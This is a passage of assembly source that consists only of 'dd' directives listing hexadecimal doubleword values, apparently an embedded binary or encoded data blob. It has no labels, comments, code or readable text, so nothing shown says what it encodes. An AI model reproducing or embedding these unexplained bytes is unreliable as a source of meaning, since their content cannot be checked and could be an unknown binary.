		dd 1B831597h, 0F7CED4F6h, 98034AEAh, 0B5630661h, 534800FCh
		dd 0DA2BCBB6h, 78F41034h, 92C6C100h, 0CAACEB22h, 304C0364h
		dd 56FBE1C8h, 0B4F393A8h, 70799D00h, 2AFA0B4Bh,	38860010h
		dd 0A2143613h, 5000C166h, 6FB1CB80h, 304C329Eh,	0D60A6B6h
		dd 7F004149h, 0CAA351C3h, 0C007A5F9h, 6675968Eh, 5B031B9Bh
		dd 971A2A43h, 0BFB08762h, 0E88A1672h, 0A30F0F77h, 3E60FB49h
		dd 0F66B8676h, 0CB5A7F0Fh, 0C79D0096h, 0F87A19h, 9E7510FBh
		dd 0A4123E99h, 5E3F3600h, 2B539CA2h, 0CEFE1EAFh, 332880B8h
		dd 0F51C8EFCh, 1E00C5F2h, 18488356h, 7BCBFC8h, 2A0486A7h
		dd 6D65E6h, 0C95C3FA2h,	0BB002108h, 3159D903h, 16CA541h
		dd 0FAD04A4Fh, 0F4922C19h, 0E37CFE07h, 0B1295B00h, 9074708Eh
		dd 0E7951F5Fh, 0AC1C40B0h, 4AAE4B17h, 50782000h, 535998EEh
		dd 0BF40C02Dh, 6E105CC0h, 8AF027B8h, 834F36C0h,	60921E27h
		dd 577429F7h, 9000F1EDh, 0B6A564E2h, 0B88FEAECh, 1C7A0054h
		dd 35614453h, 7F001E58h, 56125F3Ch, 991B493h, 0B50AA68h
		dd 0E6657480h, 7109A0C7h, 0F04DEE94h, 0AA86005Bh, 7B2C6285h
		dd 0A100FC6Bh, 52FE121Ah, 1E269F23h, 7F16520h, 90A4664Eh
		dd 9BC84AD1h, 0A1C41600h, 721C3CDEh, 3944EEA7h,	5600A85Ch
		dd 13371522h, 8500A440h, 2B8420F2h, 4B9308h, 0B821DE8Dh
		dd 80157C5Ch, 0FA946500h, 3D26366Eh, 348F02CAh,	0BA284B69h
		dd 0B48D9A80h, 0D600A092h, 0D0C73976h, 2AE98h, 0CC466F07h
		dd 207F96EBh, 0DE37010Eh, 0A142CEB9h, 762658B3h, 7A9ECh
		dd 9D81D49Eh, 0E9B727EDh, 0A0936400h, 0BAC9497Bh, 78C607E1h
		dd 72B953BBh, 0EC517D81h, 0B0908D20h, 0A612461Ch, 0FF77B0Bh
		dd 0E03E4008h, 1C8E76F4h, 4038DA87h, 2294C657h,	7D75A840h
		dd 39A40A01h, 5C92DE1h,	164BC860h, 5C49B7h, 0A0FE0394h
		dd 7004D43h, 0F1795C3h,	0B7AF2C31h, 462B7F60h, 800C863Fh
		dd 8F38F023h, 0C040571Ah, 89AF3030h, 971F963Dh,	38826050h
		dd 63DE4F2Dh, 1A30A7E6h, 3E7A9BDDh, 100A5D7h, 29DC65E6h
		dd 1CF082B9h, 9AB7700h,	4D3F3D6Bh, 7467016Ah, 0AAA3F0F2h
		dd 0C043F8DFh, 18E0764Ch, 0DE491EEEh, 0D162008Ch, 19790CEAh
		dd 9D0065A6h, 7238074Ch, 7DC30970h, 69F70058h, 3B68D81Ah
		dd 2004A5C5h, 41B0B5F8h, 43151080h, 2F0D0778h, 0D78CD8DAh
		dd 0B6976Eh, 87EDCF6Bh,	0CBECB3Bh, 302FBAA7h, 3FF307AAh
		dd 124B6DC9h, 40C0A240h
		dd 2C9E1D3Dh, 8C7A88h, 71B565DAh, 40F9B98Fh, 21582BDCh
		dd 0CED6BF00h, 3635B8FDh, 45010066h, 1D04EBB0h,	6E1CA35Ch
		dd 21806AA2h, 6903B63Eh, 977306DEh, 487D4168h, 74291003h
		dd 0C3A56Ah, 37A4510h, 11CE63E0h, 6D58BF00h, 0DFB0BBBDh
		dd 0A0EE1833h, 0C8F69078h, 89B09860h, 0A043D52h, 6D34AEA1h
		dd 0BFBF38E4h, 724FA380h, 0E03547Dh, 14908402h,	0C8FC3DAEh
		dd 123AA870h, 676364h, 1FB0011Ch, 0FDB834DCh, 8303F0FCh
		dd 8E266ECEh, 17D6DF99h, 6A220018h, 44F0EA4Bh, 6F8DABEh
		dd 12769A05h, 0CC013439h, 8DAA6D03h, 7CD83180h,	0DFF73A26h
		dd 0E3198100h, 0B72A9E36h, 6D680373h, 1DEE246Eh, 20CCD189h
		dd 8F04344Fh, 743A9847h, 2281080h, 3F5EE03h, 0FF134A82h
		dd 0DDE8C62Ah, 743DA9AAh, 0D439288Ah, 0A42B2406h, 1F119D47h
		dd 806A0225h, 15989CBDh, 72E60AC5h, 17137C9Eh, 0F1C0B48Ah
		dd 0EEA194A6h, 7F004F74h, 3EF5CAA5h, 1B2B4491h,	51536D0Bh
		dd 264B81F0h, 213B1900h, 0F46CC9FFh, 649E00B5h,	0CB1A6F18h
		dd 581D094Fh, 0F5433813h, 0FB844E21h, 0D9678010h, 23E300BAh
		dd 6A29E896h, 6150F102h, 0B40015E8h, 5FE1CB7Fh,	273E70h
		dd 1496DE9Fh, 5AA5A5Eh,	184E6100h, 4DB004D5h, 9CB31331h
		dd 5613003Ch, 4BB1BB68h, 0C7BDDE07h, 1280FA8Dh,	5396CCh
		dd 9FE0DD5Dh, 0D29151D7h, 0F893A130h, 28340871h, 0AA47402h
		dd 4D1497FCh, 0C326C4h,	20E2D275h, 7E07CF8Fh, 0E9BCFA38h
		dd 87333A80h, 89B800D1h, 0ADC270D2h, 4C0188F7h,	0B311C785h
		dd 18305DA4h, 90A300F2h, 592046B6h, 0E80031CCh,	0B0EDA76Ah
		dd 3933741Ch, 72805426h, 3697AD18h, 0E050A421h,	0B10099B4h
		dd 0BFC5B0F0h, 42C93Ah,	63E21225h, 0FD1D318Bh, 0B92B2000h
		dd 9C7BE30Bh, 87AC0023h, 0BE0DC375h, 7700AACAh,	0EFB2EB2Eh
		dd 0F667DA0Ah, 0DDB70019h, 0E1558281h, 30F9425h, 202B1B11h
		dd 2D72359Ch, 0FC6609F8h, 10904754h, 96816016h,	0BBEEE8h
		dd 9106FE94h, 27451A55h, 20239830h, 0EF2D6B65h,	1FF1E0h
		dd 5A1009CAh, 1BC40142h, 20187B18h, 189C1A28h, 4880475Dh
		dd 5800FCBDh, 7B213D03h, 12C4DC0Dh, 45A1A90Ah, 8086EB38h
		dd 3D488168h, 0CDFBF50Fh, 0B888EFF4h, 48EFEEF2h, 0A802206Ch
		dd 7A4EF0F6h, 4C10F468h, 0EDBBC003h, 7D8F162Dh,	0B63109D8h
		dd 0D488ACC8h, 3A0F0092h, 0EC455CF9h, 47050302h, 40FABAB8h
		dd 0EDDF94h, 32D72F70h,	4559BE9Bh, 7BE00800h, 1ED0BA26h
		dd 49EF0024h, 829B1066h, 0F9003C63h, 0C60BC3B3h, 1E239419h
		dd 89C8B011h, 5180A627h, 0BBEDE27Ch, 7AC03F0Fh,	0BCE020B6h
		dd 1C87A9h, 61793116h, 7857D495h, 0D500AE7Eh, 0C62ECA6h
		dd 0FBE51Bh, 27F04805h,	24E376FCh, 0DE6991Fh, 6BC942C0h
		dd 0A3403Ah, 46E2A871h,	77E37AEAh, 54CF8600h, 10B451D3h
		dd 0CB302EDh, 0A81D5731h, 30A71642h, 0B50320C0h, 2700173Eh
		dd 9495F761h, 3D7730h, 0B9F63612h, 1BBB5DE3h, 6A0A850h
		dd 6F854806h, 589ECD04h, 822DC46Ch, 0D3ABCC00h,	0BC5B9C5Ch
		dd 2C7B8FF0h, 80E0F9DFh, 81C192FEh, 1872A925h, 0A4006CFCh
		dd 153B2DDCh, 7934D245h, 0AC010089h, 123F95F3h,	861E6A72h
		dd 0E1C090B0h, 77426B9Ch, 322C1D56h, 3B91CA8h, 0EB5EC673h
		dd 0CB64E7F0h, 0CFC9C207h, 3EF31401h, 0E4F8D962h, 6A044C0h
		dd 6B2CE835h, 0B498860Ch, 0F2C9A116h, 90E17307h, 0AC093B70h
		dd 0A5CC00A2h, 860E2137h, 0EC012040h, 0F368608Dh, 0A4CCB4A7h
		dd 5E9D0E5Ah, 6D402B9Fh, 0D43FB30Ch, 0DCFBAE00h, 8BC3F6ECh
		dd 6FFF0E8Fh, 2562F3F8h, 70401DD0h, 0DF48F904h,	74160131h
		dd 0BFF48167h, 0D0AA70h, 0FA22BA76h, 28595E72h,	454E9817h
		dd 40E2484Bh, 1EEA76ACh, 4B22EC31h, 5A00CB0Ah, 899A595Ch
		dd 28AE48h, 0A909A83Bh,	3054654Bh, 9878EFE5h, 9B017D9Dh
		dd 0D0E70617h, 0C3C4E63Dh, 85BD0B3Ah, 0C0C0ED15h, 0C7000523h
		dd 0CF4E8B77h, 0F84F136Dh, 63060B1Ch, 0D02198C4h, 80EE9DA7h
		dd 0BBF16959h, 0E8924B56h, 0F26100ADh, 58A33997h, 0EE001C11h
		dd 60A85155h, 78B9F375h, 174800EFh, 4969068h, 0E00187DFh
		dd 0E6C8BA85h, 0B7DCECBDh, 38293D26h, 7FE4DA80h, 4C9E2268h
		dd 670E3306h, 90899B89h, 7FEE1F4Ah, 58650332h, 0D8013B9Ch
		dd 85BC3E7Ah, 5C08A24Ch, 2049F380h, 0E1586FCFh,	0DFEE0073h
		dd 9E3AA1AFh, 3E90F0Dh,	2406033h, 2410186Fh, 89B8EBEAh
		dd 447D6D0Bh, 294A01ADh, 9FCB6321h, 4F7CA000h, 3F4D0069h
		dd 0FCC3CE26h, 1B00D30Dh, 91208EAAh, 7884DFC2h,	9A4928D9h
		dd 5C46068Dh, 0A1F6CFF3h, 7CB9BC00h, 9370779Bh,	0CDB12A36h
		dd 1F630FB0h, 0A94016F9h, 0DB784B2Ch, 910072E6h, 33848581h
		dd 601E2629h, 0FCA231CCh, 1317C81Dh, 43008A17h,	6F1EEFBFh
		dd 935D02C0h, 4BDF2149h, 31CEE882h, 3BC9BC63h, 8A3840C8h
		dd 0AF0033DBh, 0E15BA81Fh, 25F7E5h, 7DB9C804h, 76349CE9h
		dd 6D0DB224h, 0B3506300h, 7F97C51Ch, 37492FCh, 4555F023h
		dd 7580E8CFh, 0F8009A91h, 9C789894h, 3DA7BFh, 424955C1h
		dd 0E4BC1FD2h, 1969E2Fh, 0EA1EB2F8h, 46619180h,	0AF9B15B4h
		dd 0E0DBE09h, 2084AEDEh, 0A52104C6h, 7ED10072h,	947FED3Bh
		dd 998B314h, 0A634D70Eh, 1F68B8C1h, 0A169005Eh,	6E24CD64h
		dd 1D000556h, 0AD7C63B1h, 0EEA0F508h, 93130026h, 215D23FCh
		dd 0F9E0D806h, 8628AC0Fh, 0D06A665Ah, 6DD10599h, 0DF1BE1h
		dd 4DEC2208h, 0EE00CB5Dh, 1C9D3329h, 0AA0930h, 0D1DA427Eh
		dd 8CD046C4h, 3C867400h, 0EE582A15h, 0DB3700B8h, 97880AA6h
		dd 0F0020C8h, 18F3C90h,	6A87A1h, 30ED233Dh, 0C097F9A4h
		dd 9DD5A300h, 37D3CA63h, 4EF200A2h, 6C819C83h, 5F00153Dh
		dd 8AEED0ABh, 7F6F94A7h, 12BD33C2h, 7798DA59h, 0E7378C9Ch
		dd 59C0887Fh, 5D9912Dh,	39222A21h, 8527C1F4h, 29F2F480h
		dd 2D4D6B00h, 0BEF3CC2Fh, 0F4F50E88h, 2B60B832h, 5CD19697h
		dd 9D29F706h, 1F696AC8h, 0C21E7Ch, 18F0F5EFh, 1300DC2Eh
		dd 0FABC8942h, 6A320CBh, 478AC3B1h, 700C8885h, 26925A62h
		dd 22020627h, 512ECB50h, 24682000h, 0CEEC3E2Ah,	554101F4h
		dd 0E4BEE89Bh, 42C99C56h, 538CAF84h, 0D0642983h, 3B6A8FE9h
		dd 4960E50Ch, 30FE1177h, 12C35400h, 9D53020Eh, 0D3860A85h
		dd 4E94E8E9h, 40721CF6h, 0BD46502Ch, 571873AFh,	2621FE04h
		dd 8F81003Eh, 2187B7BFh, 0A01096D6h, 6A0017DAh,	0CB3614AFh
		dd 30C01653h, 8718BED8h, 8951002Eh, 36FB5683h, 373CDCDBh
		dd 0DACB00EBh, 8D639BE1h, 0DE50C026h, 88EF36BEh, 3FBC2B00h
		dd 0D1C10685h, 70FFEE2h, 405D3B4h, 43BF304Bh, 0DA0096C5h
		dd 8FEEF447h, 65478CBh,	4C655AFAh, 4E1D31A9h, 0BB00C772h
		dd 3D040C02h, 0D0E10035h, 380DAE85h, 0F500DDFFh, 0C3CFFB32h
		dd 1D09BB7Eh, 1EBC27DFh, 0BE81C0B4h, 8CE92350h,	0D443400h
		dd 61378B13h, 324C0C48h, 0BB6808F0h, 0D593A418h, 7DDC140h
		dd 0CCAD79B1h, 857AD028h, 763B1AEAh, 19E18001h,	14ACFC3Dh
		dd 0DB8E1D1Ch, 0DD620058h, 6B711BD0h, 0F20B8703h, 73D44E93h
		dd 0DA180050h, 8E996AD8h, 0CBEAAB62h, 7C33F20Eh, 797B8C21h
		dd 77AD0042h, 5380622h,	0E702DF92h, 54BF29F6h, 6F89833Dh
		dd 99D380A3h, 6059E4BBh, 65B438C8h, 310613D6h, 0B7C61E37h
		dd 882307D0h, 0B0113356h
		dd 0BD4BEBA8h, 0BCD47500h, 384FB243h, 0BB9A01B5h, 19337051h
		dd 0FAFDCCC5h, 21341807h, 59A07E07h, 5C13CCh, 0D8D55880h
		dd 649C962Ch, 9FC3913Ch, 7DBE8B89h, 0C6205001h,	0BFD4AF1Bh
		dd 0DB09A5F3h, 42BC806Dh, 0E144838h, 15182103h,	20B68D86h
		dd 41004DF2h, 1ADD10D9h, 0ACCDC6h, 86C84E7Ch, 57083F85h
		dd 0CAE7500Fh, 6EAF8F94h, 7229D87Ah, 0AA0C0044h, 5AD03AD7h
		dd 2F02EF47h, 0FBFFFAA6h, 19914046h, 0B8A2008Ah, 0D87BBD64h
		dd 0E60E1E5Dh, 801F0EF0h, 0A289FB15h, 0BD4C24B3h, 22E90052h
		dd 0BA78C5Ah, 95C44F03h, 0FFB76BC6h, 0BCA47720h, 4BDD0053h
		dd 37177FDBh, 71C45CE5h, 61304879h, 0D810ACBDh,	91C61D85h
		dd 41B02025h, 14BBBD00h, 0C7EB6730h, 0AC200017h, 0F027FD59h
		dd 70CBBC82h, 88590019h, 0EA1DB15Eh, 538B0030h,	0C2D96BFh
		dd 7002B31Ah, 35C675ACh, 39B94019h, 743D00D7h, 0D68835Ah
		dd 0A900B2DFh, 7B8066F1h, 0FC5273h, 0AE60EAADh,	0E75D8970h
		dd 468A240Fh, 2B9D80A0h, 6AB90Ah, 0F4D1C6D4h, 0D8F96098h
		dd 588E6D00h, 91198CEDh, 0EC8700C9h, 7C5F3D28h,	0E600A9F6h
		dd 0DD32886Fh, 0EE29713h, 0DFD7F565h, 701D3A20h, 2E1971DAh
		dd 3E10DD3Fh, 7C86045Ah, 86001165h, 0ADA734E6h,	3B2BDFAh
		dd 74283219h, 6F9817ECh, 2E00A248h, 8722147Bh, 26CF2F1Bh
		dd 9855E5h, 4FDBAA62h, 0FA00F3EAh, 6AC64CB7h, 1B43CF4h
		dd 0D1D94523h, 0FC64426Eh, 0A6004BB6h, 61CE63AFh, 547BBFh
		dd 0A3DA6860h, 0E78301F8h, 22F7A000h, 784E132Eh, 0B1F40382h
		dd 0D7075CDDh, 0D3F83AFBh, 0C600934Bh, 0D6F7DEFh, 334F92Ch
		dd 91A5DE88h, 0F7E0549Bh, 51005095h, 0CC7ADA5Ch, 75DFB84Ah
		dd 398900EEh, 91279A75h, 0E01BBEDh, 60D0451Eh, 0ACE890CBh
		dd 766D00F2h, 0DB8423A4h, 6890D83Eh, 116F6400h,	775056Eh
		dd 3B890003h, 20463D7Eh, 789A3FAEh, 0F76CB703h,	982CC963h
		dd 7E93036Dh, 0E06137Fh, 0D11A0082h, 50438C86h,	0B3DC1B1Eh
		dd 0BA48D740h, 385F0204h, 0F13A3A96h, 0ACB80F00h, 3ECCC282h
		dd 0D2816D00h, 2986F97h, 0D49D00E9h, 0A636775Bh, 0FEA3169h
		dd 0E838642Ah, 1FCDCA00h, 0AA6D7A13h, 902600B3h, 6FBD45E8h
		dd 0F7001782h, 405D7572h, 0E23A7Fh, 0CE0CF8EDh,	89C531DFh
		dd 482D3Ch, 0B5DA16BEh,	22C01h,	0E8FBE2D0h, 1336264Bh
		dd 12AEED07h, 5690882Fh, 0F06B9ADBh, 0FDF500E8h, 5C5E30CFh
		dd 271E4E9h, 2B6E8807h,	10A08DDDh, 0CC6B07h, 1A8AEA08h
		dd 4E6C9E73h, 68D9D600h, 0AA51A277h, 7EE100D2h,	0FEB129BAh
		dd 70003486h, 0D459668Ah, 15C163Fh, 6F8EE5E8h, 8006976Bh
		dd 0CBAD336h, 0FAE9C941h, 12FFFC14h, 0FB6D2689h, 0C6550F00h
		dd 71F205Ch, 3633DDD0h,	935D6097h, 0D300F004h, 90F1B751h
		dd 0F622CDC7h, 0C03E18C8h, 2AD9A181h, 16D43500h, 0BA59418Dh
		dd 42943A17h, 0AFB4E980h, 0CBB0A2FEh, 190F7D00h, 48FA86D2h
		dd 35F9007Ch, 13048002h, 0E07E582h, 101C684Ah, 5CF48190h
		dd 161D0F32h, 0BC000922h, 6CD273FEh, 68159E1Ch,	3019D440h
		dd 0E4595BB7h, 0DC6042Bh, 8918C5Eh, 0F0B869h, 0D158F767h
		dd 0EABC301h, 80A19439h, 0A59E3F8h, 117A68h, 0A5D8A238h
		dd 95869347h, 9B342C00h, 6ABAC4F3h, 0CBC00011h,	0A99060A7h
		dd 5C003DB1h, 51D00443h, 9C64477h, 9F8B1488h, 9CD83013h
		dd 0E00A6ABh, 0A4C78FDh, 0B1A241h, 8872C211h, 6469EEEFh
		dd 3156CA00h, 2035E5B7h, 7172D7h, 39F91FAh, 8B4A41Fh, 0C2459A07h
		dd 0AE60C878h, 30D21ABh, 4A0AF8D9h, 4D88198Bh, 0CA4C7604h
		dd 0E06D00B4h, 8AEFB6FEh, 61DC00D7h, 312AD50Ah,	0D82874FAh
		dd 89FEA868h, 0AD2FA700h, 0CC184942h, 0A5F8BAh,	12AC68D5h
		dd 5EA30A7Ah, 1E03E400h, 823B8AEh, 0CE010082h, 682BBD52h
		dd 30C09D4Ah, 2DCBA1DDh, 528C01Fh, 845823CFh, 36C08900h
		dd 13629FDEh, 28E21Bh, 57DC4FFh, 916F84E8h, 60A04907h
		dd 75C1C0BCh, 41F05C72h, 9F5F0114h, 0EC35CC81h,	0C8C4013h
		dd 0DD00A424h, 0B2078A2Eh, 0C5AAB5h, 3C78EF7Bh,	0B8D4DCF9h
		dd 22A7820Eh, 0C335A0A1h, 0A3688Bh, 69489FF2h, 2D4BCD99h
		dd 957570h, 3493B057h, 0FF075C5h, 0C6099189h, 16503FA0h
		dd 0C91D78FEh, 0BF498Bh, 8A4AE605h, 30EF3Dh, 6719BA28h
		dd 4C65B6D5h, 0B9FF4105h, 0FB807487h, 84C0CDh, 3C40D239h
		dd 59C332C8h, 0A9E0B300h, 0A68F5F48h, 3D490080h, 0FB228726h
		dd 1B007FA5h, 0A22FCE94h, 26420D6Ch, 1F980AFEh,	4E121Ch
		dd 9E64815Bh, 3D00311Ah, 0C1CF16F4h, 4874F119h,	5A011CD4h
		dd 9A49A5B9h, 0FBAF454h, 17113503h, 0B67F83E1h,	16CD00E8h
		dd 0D30C6B14h, 0DB004201h, 7395E6C2h, 2EFDA3h, 1E914326h
		dd 9A8127CEh, 7CCCD000h, 2F90C846h, 0E6AC00F7h,	0C74BA7ECh
		dd 1700BFCFh, 0D9701D2h, 0E90857h, 3FF5EBACh, 5337B48Fh
		dd 0A9EA6800h, 288D8522h, 9624CBEh, 7172DE00h, 569EC186h
		dd 5E375700h, 67A62D5Fh, 1E7FAA1h, 0F107703Fh, 0FC47CFAFh
		dd 7200F387h, 0BDACD9FFh, 0E5DFD2h, 411ABB21h, 0FCFA68B8h
		dd 0A3D5B70Fh, 895D808Ah, 0BB4615h, 9379AAE5h, 40DB8D7Ah
		dd 80F66A3Ah, 5DCA9457h, 28B32Bh, 2F07691Ch, 0ADD2A9FEh
		dd 0F0CEB907h, 0B6809818h, 0E2F69AB8h, 6D52003Eh, 0BAC083ACh
		dd 0B1005539h, 0E934786Bh, 1E99AF95h, 40C5FEE2h, 0BFEC40DDh
		dd 3F05F110h, 0A5359218h, 94102287h, 0F47947h, 3EC26A9Ah
		dd 63CFC84Bh, 98240200h, 36607B14h, 77AE01A2h, 0E01F6D75h
		dd 0B237D84Ah, 8467EA05h, 0C9013471h, 0CAAA1B58h, 0C428D4h
		dd 0B13BEB8h, 0D892B71Dh, 1F23Dh, 0CE8C6A2Bh, 79EC8812h
		dd 0BD2A00F9h, 6BAFF4C6h, 9C00D8D7h, 0FB534676h, 0BF0E8Ch
		dd 7AB89B50h, 11F5A072h, 4427E1Dh, 0E089250Eh, 3EFFC8Bh
		dd 0BBE20040h, 2857D566h, 0DB009814h, 678122F8h, 54A28Ch
		dd 968B40FFh, 0B44CA46h, 0AD752B00h, 6090D5EAh,	0EA200DEh
		dd 0F9E0ABA9h, 0BB50834Eh, 0CC3A3BB0h, 71D500EBh, 0CE640CF6h
		dd 0D4B03069h, 0A6607C10h, 0CA05F306h, 4980D68Dh, 7100C4F8h
		dd 0AA631458h, 0A6E8A1F3h, 0DDDA4800h, 0D05F1C64h, 7BB301E8h
		dd 3B0BA37Dh, 4C68E8E3h, 0CE982C01h, 0F20ACF13h, 0E50038BEh
		dd 5466DFB2h, 8C00D553h, 0EF8E9E74h, 0E2031D55h, 0EE8AE225h
		dd 0DC9000FEh, 0CD351C12h, 9202CCEBh, 9ADE8BDDh, 0F250800Ah
		dd 380153Eh, 5A871F52h,	4898537Ah, 7200C04Dh, 24409C26h
		dd 0F206DA0h, 0BDB9CF25h, 2A2B80FEh, 15940C2Eh,	53E9EA00h
		dd 0ADA18624h, 0DD720021h, 0BD9A58BEh, 70008E26h, 0E8B097C7h
		dd 0F72ABBh, 37E95F44h,	0E7ED9C16h, 0DBBA3C00h,	0D29F6641h
		dd 757A3F69h, 7FAEBCh, 0C2D6DC16h, 0C82BA62Fh, 3028D506h
		dd 5698B9CDh, 2EA204CFh, 4A120BDh, 4825C0DFh, 0BC00FCC0h
		dd 0E618136Ch, 1FB7650h, 0A163DC30h, 0D091C1F0h, 0F60E2A62h
		dd 0A0CD34EDh, 0B379BBC9h, 0FAF400C2h, 0BD459CB8h, 64004C18h
		dd 238609C5h, 8E2ECFh, 0D24FE66h, 913BD92Ah, 0F7FA4B1Dh
		dd 1EE40100h, 3709EA6h,	0F3250CFBh, 0C8C2F98Fh,	1610209Ch
		dd 3BC0476Dh, 0FB77BB84h, 3099B507h, 8E70E73Ah,	1D65819Dh
		dd 575590Bh, 0BAA3E024h, 72C880C6h, 46F20127h, 0F38C64CDh
		dd 0D78440CCh, 8CA89BA4h, 90A83E4Eh, 5A003589h,	4531385Fh
		dd 0A878E48h
		dd 4621E64Dh, 19C840A4h, 8C1E6B61h, 0ED9FDDC7h,	2C151600h
		dd 1C28E7F5h, 206B1A1h,	3249C7FAh, 13048848h, 420FB81Fh
		dd 130F88Fh, 894AF64Fh,	28A427E0h, 28C4772h, 83592F23h
		dd 82C13B65h, 0BE7880F8h, 0FB4A199Eh, 3CEE1258h, 2A12AB1Ah
		dd 0ECDF8B01h, 0C8C02312h, 7710055h, 9A6E7781h,	3F62286Bh
		dd 0E0C45A81h, 0EE17B88h, 0DF77E5E9h, 0C29EFF80h, 0FB00A0FEh
		dd 0EF7938B4h, 9A2399FAh, 0C1713F48h, 0F079680h, 0B1197827h
		dd 0A69BD800h, 0CA80A9C0h, 0AD431CC6h, 902B9585h, 0C9872F1Fh
		dd 6486651Ch, 0B70081D3h, 0ED186333h, 3FF0C97Dh, 0AA02DE79h
		dd 1BE45A57h, 4EB9C884h, 0DF8C2187h, 0A6E4E5AEh, 0AAE40C21h
		dd 1330DA30h, 0A1241E30h, 0C6285h, 5B415C02h, 2DBD4A3Ah
		dd 34EAFE1Dh, 2A323900h, 4A1E4B23h, 0C50E891h, 69AD492Eh
		dd 71643FB9h, 3E0A892h,	0D4D3056Ch, 1751B100h, 683D6D03h
		dd 323C0063h, 76917B1Dh, 0AD0B826Ah, 8023D5B4h,	976FDCFFh
		dd 5858C05Eh, 0DA9BA12Dh, 159C50DCh, 3DD0CB46h,	23948071h
		dd 61A8809Ch, 0E26889C3h, 0A50CD0C0h, 496E01FFh, 0E8A151DEh
		dd 0C7488CC9h, 640414Fh, 69803DF9h, 0E10C70A6h,	48BAB834h
		dd 0ED3900D2h, 887AE04Eh, 9400052Ah, 70D68F02h,	24AEC49Eh
		dd 228CA09h, 7A1219F0h,	236CC780h, 971C4F47h, 85C0C98Eh
		dd 2719931Ah, 540C18B4h, 3C4B80F0h, 4CD40h, 0ED6E7239h
		dd 41A08446h, 10049248h, 29286CBAh, 450E0C48h, 0A0B82379h
		dd 86E89D50h, 0B8FCBB12h, 4DC81442h, 5A4CA0D6h,	0E70181h
		dd 1B60A3CCh, 3A75EDEh,	92DCC504h, 0C857818h, 0CD283C02h
		dd 125202A0h, 4105A827h, 73F59400h, 0D3767Fh, 19C9B17Bh
		dd 4ED134EEh, 0A8CD49h,	4F3682A8h, 17E945Bh, 0D4F4AE38h
		dd 0EDD72A53h, 59CC519Eh, 0AF302086h, 14C0BB52h, 0C8F8DF91h
		dd 0D799C31Fh, 0FD7E6100h, 0EB61BA77h, 6CC70006h, 1CAFD8E9h
		dd 3500A129h, 58FA4875h, 92223E77h, 19D00008h, 0B46BD679h
		dd 0E2008229h, 0F9F7B091h, 1D56FBEEh, 1310E7D7h, 0F2186005h
		dd 1499012Ch, 94409C1Dh, 6E043C2Fh, 8EF33D57h, 1229B580h
		dd 0BB6F199Fh, 33A6AF03h, 0C8FECF86h, 2F61891h,	823E58DDh
		dd 0F4A2ABA3h, 0ACA0CE89h, 0B3343FB6h, 6C202501h, 0D049545h
		dd 4E3C024h, 0E6E1DB53h, 0C188DFAh, 92002284h, 6561AB83h
		dd 249319F7h, 63184C20h, 7101352Fh, 5687056Ah, 8C225A7Ah
		dd 17E73601h, 40A3D22Dh, 271F6489h, 0A2313F75h,	92D73934h
		dd 0AACFA050h, 0DA18134Fh, 2DF801A7h, 43E68CC8h, 29012968h
		dd 0A522C5B1h, 0A4D0CA3Bh, 0D7E31E61h, 0C05F5C13h, 0A095B48Fh
		dd 7B2C79AFh, 858278C8h, 49C6BBB0h, 71A81C6Ch, 614F6FE8h
		dd 0A3708782h, 0FA82CCB1h, 0D5643420h, 25950FBBh, 0D7CC86A1h
		dd 41E13339h, 0EAA3A2C5h, 8970C680h, 12019590h,	0E40471BFh
		dd 0EFC7AD64h, 4C831CF7h, 7995806Dh, 9BEB24B8h,	2C64C248h
		dd 8B252330h, 3EEA6F90h, 0F7CC1601h, 304A8461h,	30AD1CC0h
		dd 0DA8C9ECh, 7D00A299h, 0A05DF56Fh, 10F57C1h, 1DB31930h
		dd 60094151h, 7E7B1A74h, 703A37EAh, 5482BF9Bh, 1700AD88h
		dd 0BCCA5DB6h, 174FC9Dh, 0F2A3A655h, 0F1CEB5C3h, 9C04F033h
		dd 876EBD00h, 804D5607h, 52E8921Ch, 1D008C2Fh, 4FDF6DFBh
		dd 5BF2F2D9h, 97A4630Fh, 6411C28Dh, 8EC44B4h, 0F9549AE9h
		dd 0D720093Fh, 0ADE70088h, 5C82158Bh, 0AF0064F7h, 8E7A1398h
		dd 751DC49Bh, 7E079961h, 56502343h, 0DEBFBAh, 60A4841Bh
		dd 0DFF565AAh, 5E03C500h, 0B88930A8h, 0A37496h,	8E7EC144h
		dd 0A08DDCDAh, 0E7DE50C0h, 61C6976Bh, 0B2C55954h, 0C210E059h
		dd 0F0A2B50Fh, 8C95E08Eh, 1858806Eh, 487EFABDh,	0CB714A9Bh
		dd 38674400h, 75B19D5Ch, 6EB240E0h, 0AF2A191Fh,	7F281846h
		dd 5D050030h, 1082B9ABh, 7D00D6F3h, 0E87731Eh, 61982D8Dh
		dd 4AA7A1C4h, 0B63307A3h, 119799Ch, 0A81F2A99h,	9D6B2192h
		dd 0D8406931h, 94F57BA1h, 8888E4DEh, 0D61CEFA6h, 1F00CEAFh
		dd 18A065D0h, 7D0C0081h, 926EA4F7h, 0CE1D41C3h,	3F8089B5h
		dd 0DEF5885Dh, 23FB034Bh, 0FAD6766Ah, 0CE5B380h, 3679C100h
		dd 5B4C9154h, 0DE8F0459h, 0C0C0751Eh, 0F8FC357Fh, 13C4F100h
		dd 533C4567h, 4329017Ah, 0C5E459ACh, 0D8B3D18Fh, 760032FCh
		dd 0CFC3ADDFh, 10B2A62h, 149F3F35h, 0BCBF1E08h,	0C7FF0050h
		dd 72D915F3h, 66A72B4h,	201FA807h, 0C1009848h, 22D40547h
		dd 0E198A0h, 6CDD49BFh,	1D0A4F38h, 58BB49C7h, 305314Ch
		dd 23BEB309h, 0C7A01F95h, 79F0D863h, 7C46FB18h,	1AEA129h
		dd 979E2BB4h, 0D8F332F4h, 81F8D556h, 7ED83664h,	76201441h
		dd 3447C0h, 0AABEDABFh,	7D98E454h, 8300A5EEh, 0AF817FD6h
		dd 1C91BF8h, 0F682959Fh, 0E85B218Bh, 1100A3D1h,	97B5C8Dh
		dd 5456160h, 0A4A9E481h, 89AD83DBh, 360AA8A6h, 0D06C26A2h
		dd 0B2B1C218h, 0A7F10D04h, 0BE1EB5A0h, 59870091h, 0D11F022h
		dd 0B8B00F30h, 51E023CBh, 24EFA3E8h, 0A8FB6230h, 0BAA1DC7h
		dd 0E410A585h, 0D240BF00h, 5D09B5D1h, 2433204h,	0DFEAD783h
		dd 0F26ECEE0h, 83E79800h, 3E8887Fh, 0D2D60055h,	85585E8Eh
		dd 0DF07E306h, 0B002D0FAh, 39BBA261h, 0C0345AC8h, 0AC96231h
		dd 300E2C0Bh, 0E0A90581h, 391AF135h, 171503BEh,	5060E884h
		dd 0B1C900A4h, 0F6D73Fh, 4E1AE316h, 9BEFF73Eh, 39C379E4h
